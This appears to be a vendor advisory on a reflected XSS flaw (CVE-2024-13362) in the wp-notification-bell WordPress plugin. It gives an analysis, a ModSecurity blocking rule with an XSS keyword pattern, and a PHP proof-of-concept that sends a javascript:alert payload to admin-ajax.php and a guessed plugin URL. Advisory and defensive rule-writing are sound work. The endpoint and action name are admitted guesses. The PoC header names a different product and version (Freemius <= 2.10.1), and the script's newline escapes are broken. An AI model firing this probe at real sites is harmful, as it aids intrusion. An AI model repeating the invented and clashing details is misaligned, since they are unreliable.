Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a reflected DOM-based cross-site scripting (XSS) vulnerability in the wp-notification-bell plugin for WordPress, affecting versions up to 1.4.2. The vulnerability carries a CVSS score of 6.1 (medium severity) and allows unauthenticated attackers to inject arbitrary web scripts through the ‘url’ parameter.
Root Cause: Based on the CWE-79 classification and the description, the vulnerability stems from insufficient input sanitization and output escaping of the ‘url’ parameter. The plugin likely processes this parameter in a JavaScript context (DOM-based), meaning unsanitized user input is written directly into the DOM without proper escaping. This is inferred from the CWE and description; no source code is available for confirmation.
Exploitation: An unauthenticated attacker crafts a malicious URL containing a JavaScript payload in the ‘url’ parameter. The attack vector is likely via a plugin-specific endpoint or AJAX handler that reflects the parameter value into the page. The attacker must trick a victim into clicking the link. Based on the plugin slug ‘wp-notification-bell’, the vulnerable endpoint could be a frontend page or a dedicated AJAX action that processes notification-related requests. No specific endpoint is confirmed from the metadata.
Remediation: The fix requires proper sanitization of the ‘url’ parameter on input (e.g., using WordPress’s esc_url_raw for storage) and context-appropriate output escaping (e.g., using esc_url or wp_kses when rendering in HTML, or JavaScript-specific encoding for DOM contexts). The patched version 1.4.3 likely implements these measures.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser within the context of the WordPress site. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The attacker does not require authentication, and the scope changes (CVSS scope: changed) meaning the impact can extend beyond the vulnerable component.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" "id:20261948,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Reflected XSS via url parameter in wp-notification-bell plugin',severity:'CRITICAL',tag:'CVE-2024-13362'"
SecRule ARGS_POST:action "@rx ^wp_notification_bell_" "chain"
SecRule ARGS_POST:url "@rx (?i)(javascript:|<script|onload=|onerror=|alert)" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// Assumptions based on metadata:
// - The plugin slug is 'wp-notification-bell'
// - The vulnerable parameter is 'url'
// - The endpoint is likely an AJAX action or a page that reflects the 'url' parameter
// - No specific endpoint is confirmed; we will test the most common pattern: admin-ajax.php with action parameter
$target_url = 'http://example.com'; // Change this to the target WordPress installation
// Craft a malicious payload that triggers XSS via the 'url' parameter
$payload = 'javascript:alert("XSS")';
// Attempt 1: AJAX endpoint (commonly used by plugins for frontend requests)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'wp_notification_bell_fetch', // Assumed action name, may vary
'url' => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Atomic-Edge-PoC'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Attempt 1 - AJAX endpoint: HTTP $http_coden";
if (strpos($response, $payload) !== false) {
echo "[+] Payload reflected in response - likely vulnerable!n";
} else {
echo "[-] Payload not reflected in response or endpoint not found.n";
}
// Attempt 2: Direct plugin page (if the plugin has a frontend page)
$plugin_url = $target_url . '/?wp_notification_bell_page=1&url=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $plugin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Atomic-Edge-PoC'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Attempt 2 - Direct page: HTTP $http_coden";
if (strpos($response, $payload) !== false) {
echo "[+] Payload reflected in response - likely vulnerable!n";
} else {
echo "[-] Payload not reflected in response or endpoint not found.n";
}
?>
